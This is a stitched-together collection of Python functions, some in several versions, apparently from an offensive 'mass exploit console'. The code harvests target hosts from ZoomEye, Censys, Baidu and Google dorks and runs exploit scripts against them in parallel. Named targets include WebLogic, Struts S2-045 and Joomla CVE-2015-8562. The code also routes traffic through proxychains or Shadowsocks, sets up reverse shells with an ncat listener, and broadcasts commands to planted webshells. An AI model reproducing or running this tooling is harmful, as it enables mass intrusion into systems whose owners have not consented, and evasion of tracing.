def batch_scan(list_file): ''' put things together ''' # display progress import threading outfile = '{}.txt'.format(FingerprintScanner.NOW_TIME) status = threading.Thread(target=wc.progress(outfile)) status.setDaemon(True) status.start() # parallel exec from concurrent import futures with futures.ThreadPoolExecutor(max_workers=100) as executor: list_open = open(list_file) future_targets = {} for line in list_open: host = line.strip() scanner = FingerprintScanner(host) future_targets.update( {executor.submit(scanner.weblogic_scan): host}) for future in futures.as_completed(future_targets): job = future_targets[future] try: ret_val = future.result() # return value of app scanner method if ret_val: vwrite.write_to_file(job, outfile) except (EOFError, KeyboardInterrupt, SystemExit): pass else: console.debug_except()
def get_and_parse(url, page): ''' fetch baidu result and parse ''' try: headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1) \ AppleWebKit/537.36 (KHTML, like Gecko) " + "Chrome/41.0.2228.0 Safari/537.36" } url += str(page) rget = requests.get(url, headers=headers) soup = BeautifulSoup(rget.text, "html.parser") div = soup.find_all(tpl='www_normal') for line in div: result = line.get('data-log', '') # pylint: disable=eval-used res = eval(result) vwrite.write_to_file(res['mu'], 'result.txt') except requests.RequestException as exc: console.print_warning(f"[-] Request error: {exc}") except BaseException: console.debug_except()
def login(self): ''' login using given username and password ''' data = {'username': self.user, 'password': self.passwd} data_encoded = json.dumps(data) try: r_post = requests.post(url='https://api.zoomeye.org/user/login', data=data_encoded, timeout=30) r_decoded = json.loads(r_post.text) return r_decoded['access_token'] except requests.exceptions.RequestException as exc: console.print_error(f"Login error: request failed: {exc}") return "" except KeyError: console.print_error( f"Login error: {r_post.status_code}: {r_post.text}") return "" except KeyboardInterrupt: return "" except BaseException: console.debug_except()
def crawler(qery, page, headers): ''' fetch result from zoomeye ''' if ZoomEyeAPI.SEARCH_TYPE == 'h': url = 'https://api.zoomeye.org/host/search?query=' + \ qery + \ '&facet=app,os&page=' + \ str(page) else: # for web service search url = 'https://api.zoomeye.org/web/search?query=' + \ qery + \ '&facet=app,os&page=' + \ str(page) # get result try: r_get = requests.get(url=url, headers=headers, timeout=20) r_decoded = json.loads(r_get.text) except BaseException as exc: return f"crawler failed: {exc}" # returns error message if r_get.status_code != 200: err = "" if 'error' in r_get.text: try: err = r_decoded['message'] except KeyError: err = r_decoded['err'] if err != "": return err return "Non-200 return code from ZoomEye API" for item in r_decoded['matches']: try: if ZoomEyeAPI.SEARCH_TYPE == 'h': ip = item['ip'] port = str(item['portinfo']['port']) save_str_to_file(ZoomEyeAPI.OUTFILE, ip + ":" + port) else: # web service search, saves url instead save_str_to_file(ZoomEyeAPI.OUTFILE, item['webapp'][0]['url']) except KeyError: console.print_error("Looks like ZoomEye API has changed") console.debug_except() except BaseException: console.print_error("Unknown error:") console.debug_except() return ""
def run_attack(**kwargs): """ start a mass-exploit job """ session = kwargs.get("session", None) try: session.attack() except (EOFError, KeyboardInterrupt, SystemExit): return except BaseException: console.debug_except()
def run(): ''' start mec ''' try: print(console.INTRO) main() except (EOFError, KeyboardInterrupt, SystemExit): console.print_error('[-] Exiting...') else: console.print_error( "[-] Seems like you\'ve encountered an unhandled exception") debug_except()
def run_zoomeye(**kwargs): """ Crawler for ZoomEye """ try: console.print_warning( "[*] ZoomEye now asks for phone verification (+86 only)") zoomeye.run() except (EOFError, KeyboardInterrupt, SystemExit): return except BaseException: console.debug_except()
def run_google(**kwargs): """ Search via google """ dork = kwargs.get("args")[0] try: # well yes im a lazy guy subprocess.call(['./exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork, '--revshell=\'127.0.0.1\'', '--port=4444']) except BaseException as err: console.print_error(str(err)) console.debug_except()
def tail(filepath): ''' tail -f to peek the stdout of your exploit ''' last_lines = "" try: filed = open(filepath) last_lines = ''.join(filed.readlines()[-20:]) filed.close() except IndexError: pass except BaseException: debug_except() return last_lines
def login(self): ''' login using given username and password ''' data = {'username': self.user, 'password': self.passwd} data_encoded = json.dumps(data) try: r_post = requests.post(url='https://api.zoomeye.org/user/login', data=data_encoded) r_decoded = json.loads(r_post.text) return r_decoded['access_token'] except KeyError: return "" except BaseException: console.debug_except()
def start_ss_proxy(self): ''' go-shadowsocks2 -c 'ss://*****:*****@[server_address]:8488' \ -verbose -socks :1080 -u ''' try: subprocess.Popen([ self.ss_bin, '-c', self.ss_url, '-socks', f':{self.local_port}', '-u' ], stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=False) except BaseException as err: console.print_error('[-] Error starting Shadowsocks proxy: ' + str(err)) console.debug_except()
def search_hosts(query, page): key = json.loads(open("/usr/share/mec/conf/censys.conf", "r").read()) API_URL = "https://censys.io/api/v1/search/ipv4" data = {'query': query, 'page': page, 'feilds': "ip,protocols"} data_encoded = json.dumps(data) try: results = requests.post(url=API_URL, data=data_encoded, auth=(key['uid'], key['sec'])) results_list = json.loads(results.text) hosts = [] for host in results_list['results']: hosts.append((str(host['ip']) + ":" + str(host['protocols'][0].split("/")[0]))) return hosts except BaseException: print("Oops something went wrong. check logs.") debug_except()
def run(): ''' start mec ''' try: os.system('clear') print(console.INTRO) os.chdir(MECROOT) main() except (EOFError, KeyboardInterrupt, SystemExit): console.print_error('[-] Exiting...') except FileNotFoundError: debug_except() console.print_error("[-] Please run install.py first") sys.exit(1) else: console.print_error( "[-] Seems like you\'ve encountered an unhandled exception") debug_except()
def run(): ''' start mec ''' try: os.system('clear') os.chdir(core.MECROOT) console.print_banner(ver=core.get_version(), exp_cnt=len(futil.list_exp())) main() except (EOFError, KeyboardInterrupt, SystemExit): console.print_error('[-] Exiting...') except FileNotFoundError: console.debug_except() console.print_error("[-] Please run install.py first") sys.exit(1) except BaseException: console.print_error( "[-] Seems like you've encountered an unhandled exception") console.debug_except()
def __init__(self, conf): try: cred_file = open(conf).read().split('\n') for line in cred_file: line = line.strip() if line.startswith('user'): self.user = line.split(':')[1] elif line.startswith('password'): self.passwd = line.split(':')[1] else: if line != '': console.print_error( '[-] Please make sure zoomeye.conf is valid:\n' + line) sys.exit(1) except FileNotFoundError: console.print_error('[-] Please look into zoomeye.conf first') except BaseException: console.debug_except()
def run(): ''' start mec ''' try: os.system('clear') if not os.path.isdir(core.MECROOT): try: # copy mec data from /usr/share, if installed via BlackArch package shutil.copytree("/usr/share/massexpconsole", core.MECROOT) except FileNotFoundError: pass except BaseException: console.debug_except() os.chdir(core.MECROOT) console.print_banner(ver=core.get_version(), exp_cnt=len(futil.list_exp())) main() except (EOFError, KeyboardInterrupt, SystemExit): console.print_error('[-] Exiting...') except FileNotFoundError: console.debug_except() sys.exit(1) except BaseException: console.print_error( "[-] Seems like you've encountered an unhandled exception") console.debug_except()
def run(): ''' run this script ''' try: ZoomEyeAPI.QRY = console.input_check("[*] Your query is: ", allow_blank=False) ZoomEyeAPI.SEARCH_TYPE = console.input_check( "[?] Search for public devices (h) or web services (w)? [h/w] ", choices=['h', 'w']) # remove special characters that may cause naming problem outfile_name = ZoomEyeAPI.QRY for special_ch in ['"', "'", ':', '!', '\\', '/']: if special_ch in outfile_name: outfile_name = outfile_name.replace(special_ch, ' ') ZoomEyeAPI.OUTFILE = './data/zoomeye-{}.txt'.format('-'.join( outfile_name.split())) main() except (EOFError, KeyboardInterrupt, SystemExit): print('\n[*] Exiting...') else: console.debug_except()
def spider(keyword, count): ''' spider method ''' url = 'https://m.baidu.com/s?word={}&pn='.format(keyword) if not os.path.exists('result.txt'): os.system('touch result.txt') status = Process(target=wc.progress, args=('result.txt', )) status.start() try: threads = [] jobs = 0 for page in range(1, count): threads.append( threading.Thread(target=get_and_parse, args=( url, page, ))) for thd in threads: thd.setDaemon(True) thd.start() if jobs in (0, 30): jobs = 0 thd.join() jobs += 1 except (EOFError, KeyboardInterrupt, SystemExit): status.terminate() return except BaseException: console.debug_except() # exit progress monitoring when we are done status.terminate()
def run_baidu(**kwargs): """ Search via m.baidu.com """ session = kwargs.get("session") command = kwargs.get("args") try: dork = command[0] count = int(command[1]) os.chdir(session.out_dir) colors.colored_print('[*] Searching on Baidu...', colors.PURPLE) baidu.spider(dork, count) if console.yes_no("\n[?] Use collected URLs as target?"): session.ip_list = session.out_dir + "/result.txt" except (EOFError, KeyboardInterrupt, SystemExit): console.print_warning("[-] Interrupted") return except BaseException as exc: console.print_error(f"[-] Error: {exc}") console.debug_except()
def make_request(self, api_url, data): ret = {} # response in JSON format try: if data != "": data_encoded = json.dumps(data) results = requests.post(url=api_url, data=data_encoded, auth=(self.key['uid'], self.key['sec'])) else: results = requests.get(url=api_url, auth=(self.key['uid'], self.key['sec'])) ret = json.loads(results.text) if results.status_code != 200: try: if ret['status'] == "error": print_error("[-] Censys: " + ret['error']) ret = {'error': "Known error"} except KeyError: print_error(f"[-] Censys: Unknown error: {results.text}") ret = {'error': "Unknown"} except KeyError: print_error("[-] Censys: API error") ret = {'error': "API"} except requests.exceptions.RequestException as exc: print_error(f"[-] Censys: request failed: {exc}") ret = {'error': exc} except BaseException: print_error("[-] Oops something went wrong.") ret = {'error': "debug_except"} debug_except() return ret
def attack(): ''' handles attack command ''' if input_check('[?] Do you wish to use proxychains? [y/n] ', choices=['y', 'n']) == 'y': SessionParameters.USE_PROXY = True else: SessionParameters.USE_PROXY = False answ = input_check('\n[?] Do you wish to use\ \n\n [a] built-in exploits\ \n [m] or launch your own manually?\ \n\n[=] Your choice: ', choices=['a', 'm']) if answ == 'a': print(colors.CYAN + colors.BOLD + '\n[?] Choose a module from: ' + colors.END + '\n') print(console.BUILT_IN) answ = input_check('[=] Your choice: ', check_type=int, choices=['0', '1', '2', '3', '4']) try: if answ == '2': console.print_error("\n[-] Under development") elif answ == '1': console.print_error('\n[-] Under development') elif answ == '0': scanner(ExecExp.weblogic()) elif answ == '3': scanner(ExecExp.s2_045()) elif answ == '4': scanner(ExecExp.witbe()) except BaseException: console.print_error("[-] We have an error executing exploit") debug_except() elif answ == 'm': print(colors.CYAN + colors.UNDERLINE + colors.BOLD + "\nWelcome, in here you can choose your own exploit\n" + colors.END) print(colors.CYAN + '[*] Here are available exploits:\n' + colors.END) for poc in list_exp(): print(colors.BLUE + poc + colors.END) exploit = input_check( "\n[*] Enter the path (eg. joomla/rce.py) of your exploit: ", choices=list_exp()) jobs = int( input_check("[?] How many processes each time? ", check_type=int)) custom_args = [] answ = input_check("[?] Do you need a reverse shell [y/n]? ", choices=['y', 'n']) if answ == 'y': lhost = input("[*] Where do you want me to send shells? ").strip() lport = input_check( "[*] and at what port? (make sure you have access to that port) ", check_type=int) custom_args = ['-l', lhost, '-p', lport] answ = input_check( '[*] Do you need me to start a listener? [y/n] ', choices=['y', 'n']) if answ == 'y': print("\n[*] Spawning ncat listener in new window...\n") try: subprocess.Popen(args=[ "gnome-terminal", "--command=ncat -nklvp " + lport + " -m 1000" ], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) except BaseException: print( colors.YELLOW + "[-] Could not launch our listener, do you have GNOME-Terminal installed?" + colors.END + '\n') else: print( "[*] Okay, just make sure you receive the reverse shells\n" ) else: pass custom_args += input( "[*] args for this exploit (target IP is handled already) ").strip( ).split() exec_path = exploit.split('/')[1:] work_path = exploit.split('/')[:-1] delimtr = '/' exec_path = delimtr.join(exec_path) work_path = delimtr.join(work_path) delimtr = ' ' print( colors.BLUE + '[*] Your exploit will be executed like\n' + colors.END, 'proxychains4 -q -f proxy.conf {} -t <target ip>'.format( exec_path), delimtr.join(custom_args)) scanner_args = (exploit, work_path, exec_path, custom_args, jobs) scanner(scanner_args) else: console.print_error('[-] Invalid input')
def scan(self): ''' Execute exploit against given ip list ''' try: int(self.jobs) except BaseException: console.print_error("[-] Invalid config") return try: target_list = open(self.session.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) console.debug_except() return try: os.chdir('./exploits/' + self.work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + self.work_path) console.debug_except() # you might want to cancel the scan to correct some errors if not console.yes_no('[?] Proceed?'): os.chdir(self.session.init_dir) return # save stdout to logfile try: logfile = open(self.session.logfile, "a+") except FileNotFoundError: console.print_error("[-] Log file not found") # needed for the loop procs = [] pool = [] # holds all processes, check if empty when finishing count = len(procs) # display help for viewing logs print(colors.CYAN + "[*] Use `tail -f {}` to view logs\n\n".format(self.session.logfile)) # use progress bar with open(self.session.ip_list) as iplistf: total = len([0 for _ in iplistf]) iplistf.close() pbar = tqdm.tqdm(total=total, ncols=80, desc="[*] Processing targets") # set `proxy.conf`, in case `target_ip.conf` fails if self.session.use_proxy: if not self.session.dynamic_proxy("proxy"): console.print_error("[-] Cannot get proxy from proxy_pool") return for line in target_list: target_ip = line.strip() proxyconf = f"{target_ip}.conf" # mark this loop as done count = len(procs) e_args = ['./' + self.exec_path] # dynamic exp args try: if self.session.use_proxy: if not self.session.dynamic_proxy(target_ip): proxyconf = "proxy.conf" e_args = [ 'proxychains4', '-q', '-f', f'/dev/shm/{proxyconf}', './' + self.exec_path] # add custom arguments for different exploits e_args += self.custom_args # the last argument is target host e_args += ['-t'] # start and display current process e_args += [target_ip] proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) procs.append(proc) pool.append(proc) pbar.set_description( desc="[*] Processing {}".format(target_ip)) # continue to next target e_args.remove(target_ip) # sleep sleep_seconds time.sleep(float(self.sleep_seconds)) # process pool if count == self.jobs: for item in procs: if psutil.pid_exists(item.pid): timer_proc = Process( target=futil.proc_timer, args=(item, )) timer_proc.start() else: pool.remove(item) procs = [] except (EOFError, KeyboardInterrupt, SystemExit): console.print_error("[-] Task aborted") break except BaseException as exc: logfile.write("[-] Exception: " + str(exc) + "\n") finally: # check if any procs are done, remove them from pool, update progress bar try: for proc in pool: if proc.poll() is not None: pool.remove(proc) pbar.update(1) if self.session.use_proxy: # delete proxy config file try: os.remove(f"/dev/shm/{target_ip}.conf") except BaseException: pass except BaseException: logfile.write("[-] Exception: " + traceback.format_exc() + "\n") # make sure all processes are done if pool: for proc in pool: try: proc.terminate() proc.wait() except (EOFError, KeyboardInterrupt, SystemExit): pass # close logfile, exit progress bar, and print done flag logfile.close() pbar.close() os.chdir(self.session.init_dir) console.print_success('\n[+] All done!\n') # this fixes #37, because when parent gets killed, all zombie children die sys.exit()
def login_and_crawl(): ''' get verified with zoomeye, and start thread pool for crawling ''' amnt = int( console.input_check( "[*] How many pages to crawl? (10 IPs on each page) ", check_type=int).strip()) threads = [] api = ZoomEyeAPI('conf/zoomeye.conf') try: print(colors.BLUE + '[*] Crawling fetched pages from ZoomEye...' + colors.END) access_token = api.login() headers = { 'Authorization': 'JWT ' + access_token, } except TypeError: console.print_error('[-] Invalid access token') return # test if we have permission to zoomeye api test_crawl = crawler(ZoomEyeAPI.QRY, 1, headers) if test_crawl is not None and test_crawl != '': console.print_error(test_crawl) return status = Process(target=progress, args=(ZoomEyeAPI.OUTFILE, )) status.start() limit = 0 for page in range(1, int(amnt)): thd = threading.Thread(target=crawler, args=( ZoomEyeAPI.QRY, page, headers, )) threads.append(thd) try: for job in threads: job.setDaemon(True) job.start() if limit in (0, 10): limit = 0 job.join() limit += 1 except (EOFError, KeyboardInterrupt, SystemExit): status.terminate() return except BaseException: console.debug_except() # stop progress monitoring when we are done status.terminate()
def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite work_path, exec_path, custom_args, jobs = scanner_args[ 0], scanner_args[1], scanner_args[2], scanner_args[3] if SESSION.use_proxy: e_args = [ 'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path] else: e_args = ['./' + exec_path] # add custom arguments for different exploits e_args += custom_args # the last argument is target host e_args += ['-t'] try: target_list = open(SESSION.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return try: os.chdir('./exploits/' + work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + work_path) debug_except() console.print_warning( '\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) # you might want to cancel the scan to correct some errors if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return console.print_warning('\n[!] It might be messy, get ready!' + '\n') time.sleep(2) # needed for the loop count = 0 tested = count rnd = 1 # save stdout to logfile logfile = open(SESSION.logfile, "a+") # start a thread in backgroud to display tailf info log = SESSION.logfile status = Process(target=tailf, args=(log,)) try: status.start() except (SystemExit, KeyboardInterrupt, EOFError): status.terminate() for line in target_list: target_ip = line.strip() # display progress info on top progress = colors.CYAN + colors.BOLD + \ str(tested + 1) + colors.END + ' targets found\n' try: os.system('clear') sys.stdout.write('\r' + progress) sys.stdout.flush() except KeyboardInterrupt: exit() # mark this loop as done count += 1 tested += 1 try: # start and display current process e_args += [target_ip] sys.stdout.write( '\r' + colors.CYAN + ' '.join(e_args) + colors.END + '\n') sys.stdout.flush() try: proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) except (KeyboardInterrupt, EOFError, SystemExit): proc.kill() # continue to next target e_args.remove(target_ip) time.sleep(.13) # process pool if count == jobs or count == 0: count = 0 rnd += 1 _, _ = proc.communicate() # if returned any exit code, consider the process as done if proc.returncode is not None: proc.kill() continue except (EOFError, KeyboardInterrupt, SystemExit): sys.exit(1) # close logfile logfile.close() os.system('clear') os.chdir(SESSION.init_dir) console.print_success('\n[+] All done!\n') print(console.INTRO)
def execute(cmd): ''' handles user input in console ''' cmd = str(cmd).lower().strip() if cmd == '': pass elif cmd == 'info': print(colors.CYAN + '[*] Current directory: {}\ \n[*] Init directory: {}\ \n[*] Target: {}\ \n[*] Proxy config: {}'.format( os.getcwd(), SessionParameters.INIT_DIR, SessionParameters.IP_LIST, SessionParameters.PROXY_CONF) + colors.END) elif cmd.startswith('target'): target = ''.join(cmd.split()[1:]) if not target.endswith('.txt'): return print(colors.BLUE + '[i] Target changed to {}'.format(target)) SessionParameters.IP_LIST = SessionParameters.INIT_DIR + \ '/data/' + target elif cmd == 'init' or cmd == 'i': print(colors.CYAN + '[*] Going back to init_dir...' + colors.END) os.chdir(SessionParameters.INIT_DIR) elif cmd.startswith('baidu'): try: command = cmd.strip().split() dork = command[1] count = int(command[2]) os.chdir(SessionParameters.OUT_DIR) print(colors.PURPLE + '[*] Searching on Baidu...' + colors.END) baidu.spider(dork, count) except (IndexError, EOFError, KeyboardInterrupt, SystemExit): return elif cmd == 'proxy': if not os.path.exists(SessionParameters.SS_CONFIG): console.print_error('[-] Please make sure {} exists'.format( SessionParameters.SS_CONFIG)) try: subprocess.Popen([ SessionParameters.PROXY_BIN, '-c', SessionParameters.SS_CONFIG ], stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=False) except BaseException as err: console.print_error('[-] Error starting Shadowsocks proxy: ' + str(err)) debug_except() elif cmd.startswith('webshell'): try: command = cmd.split() if command[1] == '-b': try: ws.loadShells('webshell.list') cmd = input(colors.CYAN + 'CMD >> ' + colors.END) ws.broadcast(cmd) except BaseException as err: console.print_error( '[-] Error with webshell broadcasting: ' + str(err)) debug_except() else: pass except BaseException: if cmd == 'webshell': try: ws.loadShells('webshell.list') shell = input('[*] Select a shell: ').strip() ws.ctrl(shell) except BaseException as err: console.print_error('[-] Error with webshell: ' + str(err)) debug_except() elif cmd == 'redis': console.print_error('[-] Under development') elif cmd.startswith('google'): try: cmd = cmd.strip().split() dork = cmd[1] # well yes im a lazy guy subprocess.call([ './exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork, '--revshell=\'127.0.0.1\'', '--port=4444' ]) except BaseException as err: console.print_error(str(err)) debug_except() elif cmd == 'q' or cmd == 'quit': check_kill_process('ss-proxy') sys.exit(0) elif cmd == 'h' or cmd == 'help' or cmd == '?': print(console.HELP_INFO) elif cmd == 'exploits': print(colors.CYAN + '[+] Available exploits: ' + colors.END) for poc in list_exp(): print(colors.BLUE + poc + colors.END) elif cmd == 'z' or cmd == "zoomeye": try: zoomeye.run() except (EOFError, KeyboardInterrupt, SystemExit): pass else: debug_except() elif cmd == 'x' or cmd == 'clear': subprocess.call("clear") elif cmd == 'c' or cmd == 'reset': subprocess.call("reset") elif cmd == "attack" or cmd == "e": attack() else: try: print(colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END + colors.GREEN + cmd + colors.END + '\n') os.system(cmd) except (EOFError, KeyboardInterrupt, SystemExit): pass
def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite _, work_path, exec_path, custom_args, jobs = scanner_args[0], \ scanner_args[1], scanner_args[2], scanner_args[3], scanner_args[4] if SessionParameters.USE_PROXY: e_args = [ 'proxychains4', '-q', '-f', SessionParameters.PROXY_CONF, './' + exec_path ] else: e_args = ['./' + exec_path] e_args += custom_args e_args += ['-t'] try: target_list = open(SessionParameters.IP_LIST) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return os.chdir('./exploits/' + work_path) console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return console.print_warning('\n[!] It might be messy, get ready!' + '\n') time.sleep(2) count = 0 tested = count rnd = 1 for line in target_list: target_ip = line.strip() progress = colors.BLUE + colors.BOLD + 'ROUND.' + \ str(rnd) + colors.END + ' ' + colors.CYAN + colors.BOLD + \ str(tested + 1) + colors.END + ' targets found\n' try: sys.stdout.write('\r' + progress) sys.stdout.flush() except KeyboardInterrupt: exit() count += 1 tested += 1 try: e_args += [target_ip] print(colors.CYAN + ' '.join(e_args) + colors.END + '\n') proc = subprocess.Popen(e_args) # continue to next target e_args.remove(target_ip) time.sleep(.1) if count == jobs or count == 0: count = 0 rnd += 1 _, _ = proc.communicate() if proc.returncode is not None: proc.kill() continue sys.stdout.flush() os.system('clear') except (EOFError, KeyboardInterrupt, SystemExit): sys.exit(1) else: console.print_error('[-] Error when running scanner') debug_except() os.system('clear') os.chdir(SessionParameters.INIT_DIR) console.print_success('\n[+] All done!\n') print(console.INTRO)
def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite work_path, exec_path = scanner_args.work_path, scanner_args.exec_path custom_args, jobs = scanner_args.custom_args, scanner_args.jobs if SESSION.use_proxy: e_args = [ 'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path ] else: e_args = ['./' + exec_path] # add custom arguments for different exploits e_args += custom_args # the last argument is target host e_args += ['-t'] try: target_list = open(SESSION.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return try: os.chdir('./exploits/' + work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + work_path) debug_except() console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) # you might want to cancel the scan to correct some errors if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return console.print_warning('\n[!] It might be messy, get ready!' + '\n') time.sleep(2) # save stdout to logfile try: logfile = open(SESSION.logfile, "a+") except FileNotFoundError: console.print_error("[-] Log file not found") # needed for the loop procs = [] count = len(procs) tested = count # use curses to display output import curses stdscr = curses.initscr() curses.start_color() curses.use_default_colors() curses.init_pair(1, curses.COLOR_CYAN, -1) curses.init_pair(2, curses.COLOR_WHITE, -1) curses.init_pair(3, curses.COLOR_GREEN, -1) for line in target_list: target_ip = line.strip() # clear screen for each output stdscr.refresh() # display progress info on top progress = str(tested) + ' targets found' # tail to get the last line of log file status = tail(SESSION.logfile) # mark this loop as done count = len(procs) tested += 1 try: # start and display current process e_args += [target_ip] stdscr.addstr(0, 0, progress + '\n', curses.A_BOLD | curses.color_pair(1)) stdscr.addstr(2, 0, ' '.join(e_args) + '\n', curses.color_pair(3)) stdscr.addstr(4, 0, status, curses.color_pair(2)) proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) procs.append(proc) # continue to next target e_args.remove(target_ip) time.sleep(.11) # process pool if count == jobs: # if returned any exit code, consider the process as done for item in procs: item.communicate() if item.returncode is not None: item.kill() procs = [] except (EOFError, KeyboardInterrupt, SystemExit): curses.endwin() for item in procs: if item.pid is not None: item.kill() logfile.close() console.print_error("[-] Task aborted") # killall running processes check_kill_process(exec_path) return # close logfile, exit curses window, and print done flag curses.endwin() logfile.close() os.chdir(SESSION.init_dir) console.print_success('\n[+] All done!\n')
def execute(cmd): ''' handles user input in console ''' cmd = str(cmd).lower().strip() if cmd == '': return elif cmd == 'info': print(colors.CYAN + '[*] Current directory: {}\ \n[*] Init directory: {}\ \n[*] Target: {}\ \n[*] Proxy config: {}'.format(os.getcwd( ), SESSION.init_dir, SESSION.ip_list, SESSION.proxy_conf) + colors.END) elif cmd.startswith('target'): target = ''.join(cmd.split()[1:]) if not target in os.listdir(SESSION.init_dir + '/data'): return print(colors.BLUE + '[i] Target changed to {}'.format(target)) SESSION.ip_list = SESSION.init_dir + \ '/data/' + target elif cmd == 'init' or cmd == 'i': print(colors.CYAN + '[*] Going back to init_dir...' + colors.END) os.chdir(SESSION.init_dir) elif cmd.startswith('baidu'): try: command = cmd.strip().split() dork = command[1] count = int(command[2]) os.chdir(SESSION.out_dir) print(colors.PURPLE + '[*] Searching on Baidu...' + colors.END) baidu.spider(dork, count) except (IndexError, EOFError, KeyboardInterrupt, SystemExit): return elif cmd == 'proxy': if not os.path.exists(SESSION.ss_config): console.print_error('[-] Please make sure {} exists'.format( SESSION.ss_config)) try: subprocess.Popen([SESSION.proxy_bin, '-c', SESSION.ss_config], stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=False) except BaseException as err: console.print_error('[-] Error starting Shadowsocks proxy: ' + str(err)) debug_except() elif cmd == 'redis': console.print_error('[-] Under development') elif cmd.startswith('google'): try: cmd = cmd.strip().split() dork = cmd[1] # well yes im a lazy guy subprocess.call([ './exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork, '--revshell=\'127.0.0.1\'', '--port=4444' ]) except BaseException as err: console.print_error(str(err)) debug_except() elif cmd == 'q' or cmd == 'quit': check_kill_process('ss-proxy') sys.exit(0) elif cmd == 'h' or cmd == 'help' or cmd == '?': print(console.HELP_INFO) elif cmd == 'exploits': print(colors.CYAN + '[+] Available exploits: ' + colors.END) for poc in list_exp(): print(colors.BLUE + poc + colors.END) elif cmd == 'z' or cmd == "zoomeye": try: zoomeye.run() except (EOFError, KeyboardInterrupt, SystemExit): pass else: debug_except() elif cmd == 'x' or cmd == 'clear': os.system("clear") elif cmd == 'c' or cmd == 'reset': os.system("reset") elif cmd == "attack" or cmd == "e": attack() else: try: print(colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END + colors.GREEN + cmd + colors.END + '\n') os.system(cmd) except (EOFError, KeyboardInterrupt, SystemExit): pass
def execute(cmd): ''' handles user input in console ''' # lol i don't want any errors here cmd = str(cmd).lower().strip() if cmd == '': return if cmd == "masscan": # check root, as masscan requires root privilege if os.geteuid() != 0: console.print_error( "[-] Please run mec as root in order to run masscan") return ports = console.input_check( "[?] What ports do you want to scan (eg. 80 443)? ").split() try: scan.masscan(ports) except KeyboardInterrupt: console.print_warning("[-] masscan exited") elif cmd == 'info': colored_print( '[*] Current directory: {}\ \n[*] Init directory: {}\ \n[*] Log file: {}\ \n[*] Target: {}\ \n[*] Proxy config: {}'.format(os.getcwd(), SESSION.init_dir, SESSION.logfile, SESSION.ip_list, SESSION.proxy_conf), colors.CYAN) elif cmd.startswith('target'): target = ''.join(cmd.split()[1:]) if target not in os.listdir(SESSION.init_dir + '/data'): console.print_error("[-] Target file not found") return colored_print('[i] Target changed to {}'.format(target), colors.BLUE) SESSION.ip_list = SESSION.init_dir + \ '/data/' + target elif cmd in ('init', 'i'): colored_print('[*] Going back to init_dir...', colors.BLUE) os.chdir(SESSION.init_dir) elif cmd.startswith('baidu'): try: command = cmd.strip().split() dork = command[1] count = int(command[2]) os.chdir(SESSION.out_dir) colored_print('[*] Searching on Baidu...', colors.PURPLE) baidu.spider(dork, count) if yes_no("Use collected URL's as target?"): SESSION.ip_list = SESSION.init_dir + "result.txt" except (IndexError, EOFError, KeyboardInterrupt, SystemExit): return elif cmd == 'proxy': if not os.path.exists(SESSION.ss_config): console.print_error('[-] Please make sure {} exists'.format( SESSION.ss_config)) try: subprocess.Popen([SESSION.proxy_bin, '-c', SESSION.ss_config], stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=False) except BaseException as err: console.print_error('[-] Error starting Shadowsocks proxy: ' + str(err)) debug_except() elif cmd == 'redis': console.print_error('[-] Under development') elif cmd.startswith('google'): try: cmd = cmd.strip().split() dork = cmd[1] # well yes im a lazy guy subprocess.call([ './exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork, '--revshell=\'127.0.0.1\'', '--port=4444' ]) except BaseException as err: console.print_error(str(err)) debug_except() elif cmd in ('q', 'quit'): check_kill_process('ss-proxy') sys.exit(0) elif cmd in ('h', 'help', '?'): print(console.HELP_INFO) elif cmd == 'exploits': colored_print('[+] Available exploits: ', colors.CYAN) for poc in list_exp(): colored_print(poc, colors.BLUE) elif cmd in ('z', "zoomeye"): try: console.print_warning( "[*] ZoomEye now asks for phone verification (+86 only)") zoomeye.run() except (EOFError, KeyboardInterrupt, SystemExit): pass else: debug_except() elif cmd == "censys": try: output = censys.start() if yes_no("Use collected URL's as target?"): SESSION.ip_list = SESSION.init_dir + "/" + output colored_print( '[i] Target changed to {}'.format(SESSION.ip_list), colors.BLUE) except BaseException: return elif cmd in ('x', 'reset'): os.system("reset") elif cmd in ('c', 'clear'): os.system("clear") elif cmd in ("attack", "e"): attack() else: try: print(colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END, colors.GREEN + cmd, colors.END) os.system(cmd) except (EOFError, KeyboardInterrupt, SystemExit): return
